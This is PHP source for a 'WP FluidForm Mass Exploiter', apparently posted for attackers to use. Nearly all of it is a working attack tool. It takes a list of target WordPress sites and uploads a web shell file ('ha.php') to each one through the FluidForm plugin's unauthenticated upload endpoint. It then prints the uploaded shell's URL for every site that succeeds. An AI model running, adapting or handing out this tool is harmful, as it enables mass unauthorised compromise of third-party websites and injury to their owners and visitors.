WP FluidForm Mass Exploiter

# Title : WP FluidForm Mass Exploiter

# Coded by : Synchronizer

# Blog : annamcoder. tk

# Type : PHP

Code:

visit my blog => www.annamcoder.tk
 
CUT HERE --------------------------------------------------------------------------------------------------------------------------
 
<style>
.inipre {
width:900px;
text-align: left;
}
</style>
 
<center><br><br>
<font color="lime" size="6">
<b>WP FluidForm exploiter</b></font>
<br><br>
<form action="" method="POST">
<textarea name="url" style="margin: 0px; width: 626px; height: 236px;">put your target without http://
example :
 
www.site.com
www.site2.com
www.site3.com
www.site4.com
www.site5.com
</textarea><br>
<br><br><input type="submit" class="btn btn-success" value="-=[ GO TO HELL SOON ]=-"/></form>
<br><br>
<?php
#===============================================#
#----------WP FluidForm Mass Exploiter----------#
#------------Coded By Synchronizer--------------#
#-Gretz : Stupidc0de - IDCA - Indonesian Coder--#
#===============================================#
if(isset($_POST['url'])) {
function StupidC0de($URL) {
if(!function_exists('curl_init')) {
die ("Curl PHP package not installed");
}
$uploadfile= "ha.php"; #Your Shell here
$synchronizer = curl_init();
curl_setopt($synchronizer, CURLOPT_POST, true);
curl_setopt($synchronizer, CURLOPT_POSTFIELDS,
array('files[]'=>"@$uploadfile"));
curl_setopt($synchronizer, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($synchronizer, CURLOPT_URL, $URL);
curl_setopt($synchronizer, CURLOPT_HEADER, false);
$response = curl_exec($synchronizer);
return $response;
}
$textarea = htmlspecialchars(trim($_POST['url']));
$j = explode("\r\n",$textarea);
foreach($j as $sync){
$n = StupidC0de($sync."/wp-content/plugins/fluid_forms/file-upload/server/php/");
$p = str_replace('"url":"', '</font><br>shellfile : <font color=green>', $n);
$q = str_replace('","delete_url":"', '</font><br>deletfile : <font color=green>', $p);
$x = str_replace('{"files":[{"name":"', "file name : <font color=green>", $q);
$y = str_replace('","size":', "</font><br>file size : <font color=green>", $x);
$a = str_replace(',"type":"', "</font><br>file type : <font color=green>", $y);
$s = str_replace('","delete_type":"DELETE"}]}', "", $a);
$xz = str_replace('\/', "/", $s);
 
if(preg_match('/shellfile : /',$xz)==1) {
echo "<center><pre class='inipre'><center>RESULT FOR <font color=blue>".$sync."</font></center><br><font color=red><b><br>".$xz."</b></font></pre></center><br><br>";
} else {
echo "<center>".$sync."<font color=red><b> - FAILED !</b></font></center><br>";
}
 
}
}
?>

Tweet